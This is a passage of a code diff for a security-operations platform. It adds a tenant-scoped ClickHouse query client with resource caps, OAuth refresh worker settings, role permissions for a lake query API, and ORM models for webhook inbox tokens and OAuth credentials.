+# /agents/tools returns the tenant-scoped, downscope-filtered list of
+# (connector instance × capability) pairs the agent layer is allowed to
+# invoke. Read-only — actual invocation lives in the agents service.
+api_router.include_router(agents.router)
+
+# Universal capture push paths (Workstream 6 of AI Stack plan).
+# /inbox/templates + /inbox/tokens manage the per-tenant rotatable inbox
+# URLs the wizard's "Push (any vendor)" card hands out. Vendor traffic
+# itself terminates at services/ingest, which resolves the token to a
+# tenant + template_id and reuses the existing OCSF normalizer.
+api_router.include_router(inbox.router)
+
+# Tenant lake API (Workstream 7 of AI Stack plan).
+# /lake/sql executes a tenant-scoped SELECT against the warm tier
+# (ClickHouse) after passing through the SQL rewriter, which enforces a
+# table allowlist, injects tenant_id predicates, clamps LIMIT, and
+# rejects DML/DDL/table-valued functions. /lake/schema returns the
+# allowlisted table catalog so operators (and LLM agents) can author
+# queries without column-name guesswork.
+api_router.include_router(lake.router)
diff --git a/services/api/app/core/config.py b/services/api/app/core/config.py
index 304712087..0b1b2bbd3 100644
--- a/services/api/app/core/config.py
+++ b/services/api/app/core/config.py
@@ -90,6 +90,48 @@ class Settings(BaseSettings):
CONNECTORS_SERVICE_URL: str = "http://connectors:8003"
CONNECTORS_SERVICE_TIMEOUT_SECONDS: float = 15.0
+ # Public ingest base URL — surfaced in the wizard's "Reveal push URL"
+ # response so operators get a copy-pasteable curl example. Empty
+ # falls back to a relative path; production deployments should
+ # always set this (e.g. https://ingest.tryaisoc.com).
+ INGEST_PUBLIC_URL: str = ""
+
+ # Public base URL for the API service, used to build the OAuth
+ # ``redirect_uri`` advertised to upstream identity providers. Must be
+ # registered verbatim in each tenant's OAuth app. In production this
+ # is e.g. ``https://api.tryaisoc.com``; the callback path
+ # ``/api/v1/oauth/callback`` is appended automatically. Empty
+ # disables the hosted OAuth flow (start endpoint returns 503).
+ OAUTH_PUBLIC_BASE_URL: str = ""
+
+ # Public base URL of the analyst console — used as the default
+ # ``return_to`` after a successful OAuth callback so the operator
+ # lands back on /onboarding with the verify-data-flowing screen
+ # already polling. Empty falls back to a relative path.
+ CONSOLE_PUBLIC_BASE_URL: str = ""
+
+ # Workstream 5 (self-healing) — auto OAuth refresh worker. The
+ # background loop runs inside the API process (``lifespan`` hook in
+ # main.py) and rotates expiring access_tokens for every connector
+ # provisioned via the hosted OAuth flow. Set
+ # ``OAUTH_REFRESH_WORKER_ENABLED=false`` to disable (e.g. in tests
+ # or when running the API behind a separate scheduler service).
+ #
+ # ``INTERVAL`` is the polling cadence in seconds. ``LEAD_TIME`` is
+ # how many seconds before ``expires_at`` we proactively refresh —
+ # 300s gives roughly a 5-minute margin so a slow provider response
+ # doesn't push us past expiry. ``ALARM_THRESHOLD`` is the consecutive
+ # failure count that flips ``health_status`` to ``unhealthy`` (the
+ # plan calls for 3).
+ OAUTH_REFRESH_WORKER_ENABLED: bool = True
+ OAUTH_REFRESH_INTERVAL_SECONDS: int = 60
+ OAUTH_REFRESH_LEAD_TIME_SECONDS: int = 300
+ OAUTH_REFRESH_ALARM_THRESHOLD: int = 3
+ # Per-provider HTTP timeout (seconds) for the token-exchange POST.
+ # Kept short because the worker runs in-band with the API event
+ # loop; a hung provider should not stall the cadence.
+ OAUTH_REFRESH_HTTP_TIMEOUT_SECONDS: float = 15.0
+
# Database
DATABASE_URL: PostgresDsn = "postgresql+asyncpg://aisoc:aisoc@localhost:5432/aisoc"
DATABASE_POOL_SIZE: int = 20
diff --git a/services/api/app/core/security.py b/services/api/app/core/security.py
index 6de5ceabf..4f93df2ae 100644
--- a/services/api/app/core/security.py
+++ b/services/api/app/core/security.py
@@ -50,6 +50,14 @@ ROLE_PERMISSIONS: dict[str, list[str]] = {
"threat_intel:read",
"settings:read",
"settings:write",
+ # Workstream 7: tenant lake API. Tenant admins get full access
+ # to the warm-tier query surface (POST /api/v1/lake/sql) and
+ # the schema discovery endpoint (GET /api/v1/lake/schema). The
+ # rewriter still enforces tenant_id predicates and the
+ # ClickHouse client still enforces row caps and timeouts; the
+ # permission only controls who *can* query at all.
+ "lake:query",
+ "lake:read_schema",
],
"soc_lead": [
"alerts:read",
@@ -65,6 +73,9 @@ ROLE_PERMISSIONS: dict[str, list[str]] = {
"reports:read",
"reports:write",
"threat_intel:read",
+ # SOC leads run investigations across the lake routinely.
+ "lake:query",
+ "lake:read_schema",
],
"soc_analyst": [
"alerts:read",
@@ -76,6 +87,11 @@ ROLE_PERMISSIONS: dict[str, list[str]] = {
"connectors:read",
"threat_intel:read",
"reports:read",
+ # Analysts need lake access to drill into raw events when
+ # alerts don't tell the whole story. Schema is read-only and
+ # the rate limiter caps abuse.
+ "lake:query",
+ "lake:read_schema",
],
"threat_hunter": [
"alerts:read",
@@ -86,6 +102,11 @@ ROLE_PERMISSIONS: dict[str, list[str]] = {
"rules:read",
"rules:write",
"reports:read",
+ # Threat hunters live in the lake — this is their primary
+ # workspace for hypothesis-driven investigation across raw
+ # events, alert metrics, and IOC enrichments.
+ "lake:query",
+ "lake:read_schema",
],
"viewer": [
"alerts:read",
diff --git a/services/api/app/db/clickhouse.py b/services/api/app/db/clickhouse.py
new file mode 100644
index 000000000..edc88ae5f
--- /dev/null
+++ b/services/api/app/db/clickhouse.py
@@ -0,0 +1,439 @@
+"""ClickHouse client for the tenant lake (Workstream 7).
+
+ClickHouse is the warm-tier store for ``aisoc.raw_events``,
+``aisoc.alert_metrics``, and ``aisoc.ioc_enrichments`` — see
+``services/api/clickhouse/001_init.sql`` for the schema. Operators and the
+agent runtime hit this tier via ``POST /api/v1/lake/sql`` and
+``GET /api/v1/lake/schema``; that surface lives one layer above this file
+in :mod:`app.api.v1.endpoints.lake`.
+
+Why this module exists:
+
+* ``clickhouse-driver`` is synchronous, but the API is FastAPI/asyncio.
+ We wrap each query in :func:`asyncio.to_thread` so the event loop stays
+ responsive while ClickHouse executes the statement on a background
+ worker.
+* We need a single connection-pool singleton so we don't pay the TCP +
+ TLS handshake per request, and a single place to enforce server-side
+ limits (``max_execution_time``, ``max_result_rows``, memory caps).
+* The lake API takes untrusted SQL through a sqlglot rewriter (see
+ :mod:`app.services.lake_sql`) before it ever reaches this client. This
+ module is the *last mile* — it assumes the rewriter has already done
+ its job, and only enforces the resource caps that ClickHouse itself
+ understands.
+
+Threat model boundary (must stay in sync with lake_sql.py):
+
+* Predicate injection happens *upstream* in the rewriter. This client
+ forwards SQL verbatim. A bug here can't introduce a tenant-isolation
+ hole on its own, but it could leak by *omitting* the rewritten WHERE
+ clause — so the only public ``execute`` method on this module
+ deliberately has no SQL-modification helpers.
+* Resource caps are enforced *here* via ``settings`` and ClickHouse
+ query settings rather than via SQL ``LIMIT`` alone, because
+ ``LIMIT`` only bounds the result, not the in-flight scan.
+
+If ``clickhouse-driver`` isn't installed (some dev environments), the
+client lazy-fails on first use rather than at import time. That keeps
+the test suite usable for everything that doesn't touch the lake.
+"""
+
+from __future__ import annotations
+
+import asyncio
+import logging
+from collections.abc import Iterable, Sequence
+from dataclasses import dataclass
+from typing import Any
+
+from app.core.config import settings
+
+logger = logging.getLogger(__name__)
+
+
+# ---------------------------------------------------------------------- public
+
+
+@dataclass(frozen=True)
+class LakeQueryResult:
+ """Outcome of a successful ClickHouse query.
+
+ Attributes
+ ----------
+ columns:
+ Ordered list of column names. Stable across rows.
+ rows:
+ Each row is a list of cell values whose order matches
+ :attr:`columns`. Rows are materialised — no streaming —
+ because the rewriter clamps ``LIMIT`` to a sane row cap
+ before we ever see the SQL.
+ row_count:
+ Cached ``len(rows)`` so callers don't have to re-count when
+ they're shaping audit-log entries or OpenTelemetry
+ attributes.
+ elapsed_ms:
+ Wall-clock time spent inside ClickHouse, measured from
+ ``execute()`` entry to return. Useful for the lake's
+ per-tenant rate-limiter feedback.
+ """
+
+ columns: list[str]
+ rows: list[list[Any]]
+ row_count: int
+ elapsed_ms: int
+
+
+class LakeQueryError(RuntimeError):
+ """Generic ClickHouse failure surfaced to the lake API.
+
+ The lake endpoints catch this and translate it to a 502 (server
+ saw ClickHouse but ClickHouse misbehaved) or, for query timeouts
+ and memory limits, a 422 with the offending message scrubbed.
+ """
+
+
+class LakeQueryTimeoutError(LakeQueryError):
+ """ClickHouse exceeded ``LAKE_QUERY_TIMEOUT_SECONDS``."""
+
+
+class LakeQueryNotConfiguredError(LakeQueryError):
+ """``clickhouse-driver`` isn't installed or no host is configured.
+
+ Distinct exception so the API can return a 503 with a clear
+ operator-facing message ("ClickHouse not configured") instead of
+ leaking driver-import tracebacks to the caller.
+ """
+
+
+# Default per-query settings sent to ClickHouse. These are the safety
+# rails that protect the warm tier from a runaway agent prompt: the SQL
+# rewriter clamps ``LIMIT``, but only the server can enforce execution
+# time and bytes-scanned. We keep them as a module constant so tests
+# can patch them and callers can layer overrides on top.
+DEFAULT_QUERY_SETTINGS: dict[str, Any] = {
+ # Hard cap on ClickHouse execution time. The async wrapper has its
+ # own ``asyncio.wait_for`` on top — the server cap is the lower of
+ # the two so we don't strand a query inside ClickHouse after the
+ # client has given up.
+ "max_execution_time": 30,
+ # Cap individual queries at 1 GiB of working memory. Above this,
+ # ClickHouse rejects with code 241 (MEMORY_LIMIT_EXCEEDED) which we
+ # surface as a 422.
+ "max_memory_usage": 1024 * 1024 * 1024,
+ # Hard cap on rows ClickHouse will materialise into the result set.
+ # Belt-and-braces with the rewriter's LIMIT clamp.
+ "max_result_rows": 100_000,
+ # Don't let a single query saturate the cluster.
+ "max_threads": 4,
+ # Defensively cap network egress per query at 256 MiB. The lake
+ # API streams JSON to the client; this stops a pathological
+ # ``SELECT *`` from raw_events from blowing through both the API
+ # and the caller.
+ "max_network_bandwidth": 256 * 1024 * 1024,
+}
+
+
+# Internal singleton holders. We cache the client on first use and keep
+# it for the process lifetime; ``clickhouse-driver`` already pools the
+# underlying TCP connections.
+_client: Any | None = None
+_client_lock = asyncio.Lock()
+
+
+async def get_clickhouse_client() -> Any:
+ """Return a process-wide ``clickhouse_driver.Client`` singleton.
+
+ The first call acquires :data:`_client_lock` and instantiates the
+ client; subsequent callers reuse it. We do the import lazily so
+ environments without ``clickhouse-driver`` (e.g. CI runners that
+ only exercise endpoints not requiring the lake) can still import
+ :mod:`app.main` without choking.
+
+ Raises
+ ------
+ LakeQueryNotConfiguredError
+ If ``clickhouse-driver`` is not installed or the configured
+ host is empty.
+ """
+ global _client
+ if _client is not None:
+ return _client
+
+ async with _client_lock:
+ if _client is not None:
+ return _client
+
+ try:
+ from clickhouse_driver import Client # noqa: PLC0415
+ except ImportError as exc: # pragma: no cover — env-specific
+ raise LakeQueryNotConfiguredError(
+ "clickhouse-driver is not installed; install it via "
+ "`pip install clickhouse-driver` to enable the lake API"
+ ) from exc
+
+ host = (settings.CLICKHOUSE_HOST or "").strip()
+ if not host:
+ raise LakeQueryNotConfiguredError(
+ "CLICKHOUSE_HOST is not configured; set it in the API "
+ "environment to enable the lake API"
+ )
+
+ # ``settings_dict`` is forwarded to ClickHouse on every query;
+ # we override per-call too, but having sane process-wide
+ # defaults means a missing override still gets the safety
+ # rails. ``send_receive_timeout`` is the network-level cap, so
+ # we set it slightly above the per-query execution cap to
+ # avoid spurious socket timeouts.
+ try:
+ _client = Client(
+ host=host,
+ port=settings.CLICKHOUSE_PORT,
+ database=settings.CLICKHOUSE_DATABASE,
+ user=settings.CLICKHOUSE_USER,
+ password=settings.CLICKHOUSE_PASSWORD or "",
+ connect_timeout=10,
+ send_receive_timeout=DEFAULT_QUERY_SETTINGS["max_execution_time"] + 10,
+ settings=DEFAULT_QUERY_SETTINGS,
+ )
+ except Exception as exc: # pragma: no cover — driver-specific
+ raise LakeQueryNotConfiguredError(
+ f"failed to construct ClickHouse client: {exc}"
+ ) from exc
+
+ logger.info(
+ "clickhouse client initialised",
+ extra={
+ "host": host,
+ "port": settings.CLICKHOUSE_PORT,
+ "database": settings.CLICKHOUSE_DATABASE,
+ },
+ )
+ return _client
+
+
+async def close_clickhouse() -> None:
+ """Best-effort shutdown for the singleton client.
+
+ ``clickhouse-driver``'s sync ``Client`` releases its socket on
+ ``disconnect``. We schedule that on a worker thread to avoid
+ blocking the event loop during shutdown.
+ """
+ global _client
+ if _client is None:
+ return
+ client, _client = _client, None
+ try:
+ await asyncio.to_thread(client.disconnect)
+ except Exception as exc: # pragma: no cover — driver-specific
+ logger.warning("clickhouse client disconnect failed", extra={"error": str(exc)})
+
+
+async def execute_lake_query(
+ sql: str,
+ *,
+ timeout_seconds: float | None = None,
+ extra_settings: dict[str, Any] | None = None,
+) -> LakeQueryResult:
+ """Run a rewritten lake SQL statement and return columns + rows.
+
+ The SQL passed in here MUST already have been through
+ :func:`app.services.lake_sql.rewrite_for_tenant` — this function
+ does no validation. It exists purely to:
+
+ * dispatch the sync ``clickhouse-driver`` call into a worker
+ thread so the asyncio loop stays responsive,
+ * enforce a wall-clock timeout that's the lower of
+ ``timeout_seconds`` and ClickHouse's
+ ``max_execution_time``,
+ * normalise the driver's exceptions into our
+ :class:`LakeQueryError` family so the API layer can map them to
+ HTTP responses without reaching into the driver's exception
+ tree, and
+ * format the result as columns/rows lists which the JSON
+ response model expects.
+
+ Parameters
+ ----------
+ sql:
+ Rewritten SELECT/UNION/CTE query. ClickHouse dialect.
+ timeout_seconds:
+ Optional wall-clock cap. ``None`` falls back to
+ :attr:`DEFAULT_QUERY_SETTINGS['max_execution_time']`. The
+ effective cap is ``min(timeout_seconds, server_cap)``, plus a
+ small grace so ClickHouse can finish its own timeout-raising
+ path before we cancel.
+ extra_settings:
+ Optional ClickHouse query settings merged on top of
+ :data:`DEFAULT_QUERY_SETTINGS`. Used by the lake endpoints to
+ layer in per-tenant overrides (e.g. tighter row caps for
+ unprivileged roles).
+
+ Returns
+ -------
+ LakeQueryResult
+ Columns, row data, row count, and elapsed milliseconds.
+
+ Raises
+ ------
+ LakeQueryTimeoutError
+ ClickHouse exceeded the wall-clock cap.
+ LakeQueryError
+ ClickHouse returned an error (syntax, permissions, memory).
+ LakeQueryNotConfiguredError
+ Driver missing or host unset.
+ """
+ client = await get_clickhouse_client()
+
+ server_cap = float(DEFAULT_QUERY_SETTINGS["max_execution_time"])
+ effective_cap = server_cap if timeout_seconds is None else min(server_cap, timeout_seconds)
+ # Grace period so ClickHouse can raise its own timeout error before
+ # we yank the work-thread out from under it. Without the grace, an
+ # asyncio.TimeoutError races the ClickHouse timeout and we lose the
+ # nicer server-side error message.
+ asyncio_cap = effective_cap + 2.0
+
+ merged_settings = {**DEFAULT_QUERY_SETTINGS}
+ if extra_settings:
+ merged_settings.update(extra_settings)
+ # Clamp ``max_execution_time`` to whatever the caller asked for so
+ # ClickHouse and our wrapper agree on the deadline.
+ merged_settings["max_execution_time"] = int(effective_cap)
+
+ loop = asyncio.get_running_loop()
+ started = loop.time()
+
+ def _run() -> tuple[list[list[Any]], list[tuple[str, str]]]:
+ # ``with_column_types=True`` returns ``(rows, [(name, type), ...])``
+ # which we need so the API can echo a stable column ordering.
+ return client.execute(
+ sql,
+ with_column_types=True,
+ settings=merged_settings,
+ )
+
+ try:
+ rows, column_meta = await asyncio.wait_for(
+ asyncio.to_thread(_run), timeout=asyncio_cap
+ )
+ except TimeoutError as exc:
+ raise LakeQueryTimeoutError(
+ f"lake query exceeded {effective_cap:.0f}s wall-clock timeout"
+ ) from exc
+ except LakeQueryError:
+ raise
+ except Exception as exc:
+ # ``clickhouse-driver`` raises a hierarchy of its own
+ # exceptions (ServerException, NetworkError, …). We don't
+ # import them here to keep the soft dependency soft; instead
+ # we sniff for the well-known ClickHouse timeout codes
+ # because they're the ones we want to map to a different HTTP
+ # status (422 not 502).
+ message = str(exc)
+ if "TIMEOUT_EXCEEDED" in message or "exceeded the timeout" in message.lower():
+ raise LakeQueryTimeoutError(message) from exc
+ # Surface a sanitised error — we deliberately don't include
+ # the SQL in the message because it's the caller's input and
+ # may be very large. The full SQL is logged separately by
+ # the API endpoint with structured logging.
+ raise LakeQueryError(f"clickhouse query failed: {message}") from exc
+
+ elapsed_ms = int((loop.time() - started) * 1000)
+
+ columns = [name for name, _type in column_meta]
+ materialised: list[list[Any]] = [list(row) for row in rows]
+
+ return LakeQueryResult(
+ columns=columns,
+ rows=materialised,
+ row_count=len(materialised),
+ elapsed_ms=elapsed_ms,
+ )
+
+
+async def fetch_lake_schema(
+ *,
+ tables: Iterable[str] | None = None,
+) -> list[dict[str, Any]]:
+ """Return column metadata for the lake's allowlisted tables.
+
+ Powers ``GET /api/v1/lake/schema``. We query ``system.columns``
+ directly with a tight ``WHERE`` clause built from the allowlist so
+ the caller can't smuggle a different table name in through the
+ ``tables`` argument — and so the result set is bounded.
+
+ The shape of each entry is::
+
+ {
+ "table": "aisoc.raw_events",
+ "columns": [
+ {"name": "tenant_id", "type": "UUID", "comment": "..."},
+ ...
+ ],
+ }
+
+ Parameters
+ ----------
+ tables:
+ Optional subset of allowlisted tables to filter to. Passing a
+ non-allowlisted table is a programmer error (the endpoint is
+ responsible for validating against
+ :data:`app.services.lake_sql.ALLOWED_TABLES` first), so we
+ defensively return an empty list in that case rather than
+ raising — schema discovery shouldn't 500.
+ """
+ # Inline import to keep the lake_sql module the single source of
+ # truth for the allowlist while avoiding a circular import at
+ # module load (lake_sql doesn't depend on this module today, but
+ # if it ever did we'd have a cycle).
+ from app.services.lake_sql import ALLOWED_TABLES # noqa: PLC0415
+
+ requested = list(tables) if tables is not None else list(ALLOWED_TABLES)
+ requested = [t for t in requested if t in ALLOWED_TABLES]
+ if not requested:
+ return []
+
+ # Build a conjunction of ``(database = X AND table = Y)`` clauses
+ # parameterised through clickhouse-driver. This avoids string-
+ # interpolation injection even though the input is already
+ # constrained to the allowlist.
+ pairs: list[tuple[str, str]] = []
+ params: dict[str, str] = {}
+ where_clauses: list[str] = []
+ for idx, fq in enumerate(sorted(set(requested))):
+ db, tbl = fq.split(".", 1)
+ pairs.append((db, tbl))
+ params[f"db{idx}"] = db
+ params[f"tbl{idx}"] = tbl
+ where_clauses.append(f"(database = %(db{idx})s AND table = %(tbl{idx})s)")
+
+ where = " OR ".join(where_clauses)
+ sql = (
+ "SELECT database, table, name, type, comment "
+ "FROM system.columns "
+ f"WHERE {where} "
+ "ORDER BY database, table, position"
+ )
+
+ client = await get_clickhouse_client()
+
+ def _run() -> Sequence[tuple[str, str, str, str, str]]:
+ return client.execute(sql, params)
+
+ try:
+ rows = await asyncio.wait_for(
+ asyncio.to_thread(_run),
+ timeout=DEFAULT_QUERY_SETTINGS["max_execution_time"],
+ )
+ except TimeoutError as exc:
+ raise LakeQueryTimeoutError("lake schema lookup timed out") from exc
+ except Exception as exc:
+ raise LakeQueryError(f"clickhouse schema lookup failed: {exc}") from exc
+
+ by_table: dict[str, list[dict[str, Any]]] = {f"{db}.{tbl}": [] for db, tbl in pairs}
+ for db, tbl, name, ctype, comment in rows:
+ key = f"{db}.{tbl}"
+ if key not in by_table:
+ continue # ClickHouse should never volunteer extras, but be safe.
+ by_table[key].append({"name": name, "type": ctype, "comment": comment or ""})
+
+ return [{"table": fq, "columns": cols} for fq, cols in by_table.items()]
diff --git a/services/api/app/main.py b/services/api/app/main.py
index bf4ec1003..cfe32173c 100644
--- a/services/api/app/main.py
+++ b/services/api/app/main.py
@@ -1,5 +1,6 @@
"""AiSOC Core API - FastAPI Application Entry Point."""
+import asyncio
import hmac
import time
from collections.abc import AsyncGenerator
@@ -19,6 +20,7 @@ from app.core.airgap import airgap_status
from app.core.config import settings, warn_if_insecure_defaults
from app.core.logging import configure_logging
from app.core.telemetry import instrument_app
+from app.db.clickhouse import close_clickhouse
from app.db.database import engine
from app.db.neo4j import close_neo4j, init_neo4j
from app.graphql.schema import graphql_router
@@ -26,6 +28,7 @@ from app.middleware.audit_middleware import AuditMiddleware
from app.middleware.demo_mode import DemoModeMiddleware
from app.models import Base
from app.services.plugin_manager import get_plugin_manager
+from app.workers.oauth_refresh import run_forever as run_oauth_refresh
_DEV_ENVIRONMENTS = {"development", "dev", "local", "demo", "test"}
_metrics_bearer = HTTPBearer(auto_error=False)
@@ -96,11 +99,37 @@ async def lifespan(app: FastAPI) -> AsyncGenerator[None, None]:
except Exception as exc:
logger.warning("plugin discovery failed – continuing without plugins", error=str(exc))
+ # Workstream 5 (self-healing): kick off the OAuth refresh worker. It runs
+ # as a background asyncio task that owns its own DB session per tick. We
+ # gate on settings so tests / scheduler-replicas can opt out.
+ oauth_refresh_task: asyncio.Task | None = None
+ if settings.OAUTH_REFRESH_WORKER_ENABLED:
+ try:
+ oauth_refresh_task = asyncio.create_task(
+ run_oauth_refresh(), name="oauth_refresh_worker"
+ )
+ logger.info("oauth_refresh worker started")
+ except Exception as exc:
+ logger.warning("oauth_refresh worker failed to start", error=str(exc))
+
yield
logger.info("AiSOC API shutting down")
+ if oauth_refresh_task is not None and not oauth_refresh_task.done():
+ oauth_refresh_task.cancel()
+ try:
+ await oauth_refresh_task
+ except asyncio.CancelledError:
+ pass
+ except Exception as exc:
+ logger.warning("oauth_refresh worker shutdown error", error=str(exc))
await engine.dispose()
await close_neo4j()
+ # Close the ClickHouse warm-tier client. We don't pre-init it on
+ # startup — the singleton is created lazily on the first lake query
+ # so deployments without a ClickHouse host don't pay the cost — but
+ # we do need to release the socket cleanly on shutdown.
+ await close_clickhouse()
def create_application() -> FastAPI:
diff --git a/services/api/app/models/__init__.py b/services/api/app/models/__init__.py
index a0aa1632c..18c4128de 100644
--- a/services/api/app/models/__init__.py
+++ b/services/api/app/models/__init__.py
@@ -8,6 +8,7 @@ from app.models.connector import Connector
from app.models.detection_proposal import DetectionEvalBaseline, DetectionRuleProposal
from app.models.detection_rule import DetectionRule
from app.models.identity_graph import AlertIdentityLink, IdentityEdge, IdentityNode
+from app.models.inbox import TenantInboxToken
from app.models.insider_threat import InsiderIndicator, InsiderPeerGroup, UserRiskProfile
from app.models.institutional_memory import InstitutionalMemory
from app.models.investigation import (
@@ -15,6 +16,7 @@ from app.models.investigation import (
InvestigationEvent,
InvestigationRun,
)
+from app.models.oauth import OAuthAppCredential, OAuthState
from app.models.mssp import (
MSSPDelegation,
MSSPRuleOverride,
@@ -69,6 +71,9 @@ __all__ = [
"MSSPRulePackRule",
"MSSPTenantMetrics",
"MSSPTenantNote",
+ "OAuthAppCredential",
+ "OAuthState",
+ "TenantInboxToken",
"PasskeyCredential",
"PasskeyChallenge",
"OnCallStatus",
diff --git a/services/api/app/models/connector.py b/services/api/app/models/connector.py
index 7aa38e6fb..91b71d181 100644
--- a/services/api/app/models/connector.py
+++ b/services/api/app/models/connector.py
@@ -32,6 +32,52 @@ class Connector(Base):
schema_fingerprint: Mapped[str | None] = mapped_column(Text, nullable=True)
last_schema_drift_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True), nullable=True)
last_drift_details: Mapped[dict | None] = mapped_column(JSONB, nullable=True)
+ # Workstream 1 / 5: distinct from `last_sync` (which ticks every poll
+ # cycle including empty polls). `last_event_at` only advances when an
+ # event actually lands — it's what the onboarding "verify data flowing"
+ # screen polls and what feeds the freshness-SLO badge.
+ last_event_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True), nullable=True)
+ last_event_kind: Mapped[str | None] = mapped_column(String(50), nullable=True)
+ # Workstream 6: opaque token for /v1/inbox/{tenant_token} push endpoint.
+ # NULL until the operator clicks "generate push token" in the UI.
+ ingest_token: Mapped[str | None] = mapped_column(String(80), nullable=True, unique=True)
+ # Workstream 2: True when this connector was provisioned through the
+ # hosted OAuth flow (/oauth/start + /oauth/callback) rather than by
+ # pasting an API token. Drives a read-only credential view in the UI
+ # and lets the auto-refresh worker (Workstream 5) know it owns the
+ # token rotation.
+ oauth_provisioned: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
+ # Workstream 5 (self-healing) — bookkeeping for the auto OAuth
+ # refresh worker. ``oauth_refresh_failures`` ticks for each
+ # consecutive refresh attempt that failed and resets to 0 on
+ # success; the worker raises an operator alarm at >= 3.
+ # ``oauth_last_refresh_at`` is the timestamp of the most recent
+ # successful refresh, so the UI can display "rotated 3 min ago".
+ oauth_refresh_failures: Mapped[int] = mapped_column(default=0, nullable=False)
+ oauth_last_refresh_at: Mapped[datetime | None] = mapped_column(
+ DateTime(timezone=True), nullable=True
+ )
+ # Workstream 5 (self-healing) — backfill-on-outage state.
+ # ``last_outage_at`` is set when the connector first flips to
+ # ``unhealthy`` and is cleared on recovery. The backfill worker
+ # checks ``recovery_at - last_outage_at`` against the 30 min
+ # plan threshold to decide whether to schedule a one-shot backfill.
+ # ``last_backfill_at`` is the wall clock of the most recent backfill
+ # run — the worker uses it to avoid re-firing during a recovery
+ # flap and the UI surfaces it as "backfilled to <ts>".
+ last_outage_at: Mapped[datetime | None] = mapped_column(
+ DateTime(timezone=True), nullable=True
+ )
+ last_backfill_at: Mapped[datetime | None] = mapped_column(
+ DateTime(timezone=True), nullable=True
+ )
+ # Workstream 4: per-instance capability downscoping. ``NULL`` means
+ # "no downscoping — agent may use every capability the connector class
+ # declares". A non-NULL JSON array is the canonical allow-list (e.g.
+ # ``["pull_alerts", "query_logs"]``) and is consumed by
+ # ``BaseConnector.effective_capabilities()`` before tools are surfaced
+ # to the agent layer via ``GET /api/v1/agents/tools``.
+ allowed_capabilities: Mapped[list | None] = mapped_column(JSONB, nullable=True)
tags: Mapped[list] = mapped_column(JSONB, default=list)
created_at: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=lambda: datetime.now(UTC))
updated_at: Mapped[datetime] = mapped_column(
diff --git a/services/api/app/models/inbox.py b/services/api/app/models/inbox.py
new file mode 100644
index 000000000..43f21814d
--- /dev/null
+++ b/services/api/app/models/inbox.py
@@ -0,0 +1,81 @@
+"""Tenant inbox token ORM model — Workstream 6 (universal capture).
+
+For every closed-proprietary tool that has neither a read API nor an
+OAuth flow, AiSOC mints a per-tenant, rotatable inbox URL of the form
+``/v1/inbox/{token}``. The customer points the vendor's existing webhook
+at that URL; ``services/ingest`` resolves the token to a tenant +
+vendor template and reuses the existing OCSF normalizer + Kafka
+publisher.
+
+This is distinct from the per-connector ``connectors.ingest_token``
+column (migration 029): that one ties a webhook to a *specific*
+connector instance, while :class:`TenantInboxToken` ties it to a
+tenant + ``template_id`` (e.g. ``pagerduty``, ``opsgenie``,
+``generic-json``). The "Push (any vendor)" card in the onboarding flow
+mints rows here without requiring a connector to exist yet — the first
+event landing creates one virtually.
+"""
+
+from __future__ import annotations
+
+import uuid
+from datetime import UTC, datetime
+
+from sqlalchemy import DateTime, ForeignKey, Index, String, Text, text
+from sqlalchemy.dialects.postgresql import UUID
+from sqlalchemy.orm import Mapped, mapped_column
+
+from app.db.database import Base
+
+
+class TenantInboxToken(Base):
+ """Per-tenant rotatable webhook receiver token.
+
+ The ``token`` column is the URL-safe random secret embedded in
+ the inbox URL. We treat it like a credential — it never round-trips
+ to logs or audit events.
+ """
+
+ __tablename__ = "tenant_inbox_tokens"
+
+ # Token is the natural primary key — globally unique, embedded in
+ # URLs. Using the raw token as PK avoids an extra index lookup on
+ # the hot ingest path.
+ token: Mapped[str] = mapped_column(String(80), primary_key=True)
+ tenant_id: Mapped[uuid.UUID] = mapped_column(
+ UUID(as_uuid=True),
+ ForeignKey("tenants.id", ondelete="CASCADE"),
+ nullable=False,
+ )
+ # Filename stem in services/ingest/internal/normalizer/templates/.
+ # Mapped values like ``pagerduty``, ``opsgenie``, ``generic-json``,
+ # ``cloudflare-logpush``, ``aws-sns``, ``github-security-advisory``,
+ # ``microsoft-defender-email``.
+ template_id: Mapped[str] = mapped_column(String(80), nullable=False)
+ # Human-readable label shown in the UI ("PagerDuty on-call").
+ label: Mapped[str | None] = mapped_column(String(255), nullable=True)
+ # Optional HMAC secret for X-Signature verification. NULL means the
+ # token in the URL is the only authenticator.
+ hmac_secret: Mapped[str | None] = mapped_column(Text, nullable=True)
+ created_at: Mapped[datetime] = mapped_column(
+ DateTime(timezone=True),
+ default=lambda: datetime.now(UTC),
+ nullable=False,
+ )
+ # Non-NULL means the token has been rotated and the ingest service
+ # rejects requests for it.
+ revoked_at: Mapped[datetime | None] = mapped_column(
+ DateTime(timezone=True), nullable=True
+ )
+ last_used_at: Mapped[datetime | None] = mapped_column(
+ DateTime(timezone=True), nullable=True
+ )
+
+ __table_args__ = (
+ Index("tenant_inbox_tokens_tenant_idx", "tenant_id"),
+ Index(
+ "tenant_inbox_tokens_active_idx",
+ "token",
+ postgresql_where=text("revoked_at IS NULL"),
+ ),
+ )
diff --git a/services/api/app/models/oauth.py b/services/api/app/models/oauth.py
new file mode 100644
index 000000000..eb780f496
--- /dev/null
+++ b/services/api/app/models/oauth.py
@@ -0,0 +1,131 @@
+"""OAuth ORM models — hosted one-click connector flow.
+
+Two tables back the ``/api/v1/oauth/start`` + ``/api/v1/oauth/callback``
+endpoints:
+
+* :class:`OAuthAppCredential`
+ Per-tenant, per-connector-class OAuth client_id / client_secret.
+ The platform does not bake in a single shared client; each tenant
+ registers their own OAuth app (or a managed-deployment operator
+ pre-fills it for the tenant). ``client_secret_vault`` is opaque
+ ciphertext from :class:`app.security.credential_vault.CredentialVault`
+ and is never returned in plaintext.
+
+* :class:`OAuthState`
+ Short-lived nonce that we use as the OAuth ``state`` parameter to
+ defend against CSRF and to thread the originating tenant +
+ connector + redirect intent through the round-trip to the upstream
+ provider. Rows TTL out at 10 minutes; a row is also deleted on first
+ successful callback (single-use).
+"""
+
+from __future__ import annotations
+
+import uuid
+from datetime import UTC, datetime
+
+from sqlalchemy import DateTime, ForeignKey, String, Text
+from sqlalchemy.dialects.postgresql import JSONB, UUID
+from sqlalchemy.orm import Mapped, mapped_column
+
+from app.db.database import Base
+
+
+class OAuthAppCredential(Base):
+ """Per-tenant, per-connector-class OAuth client credentials.
+
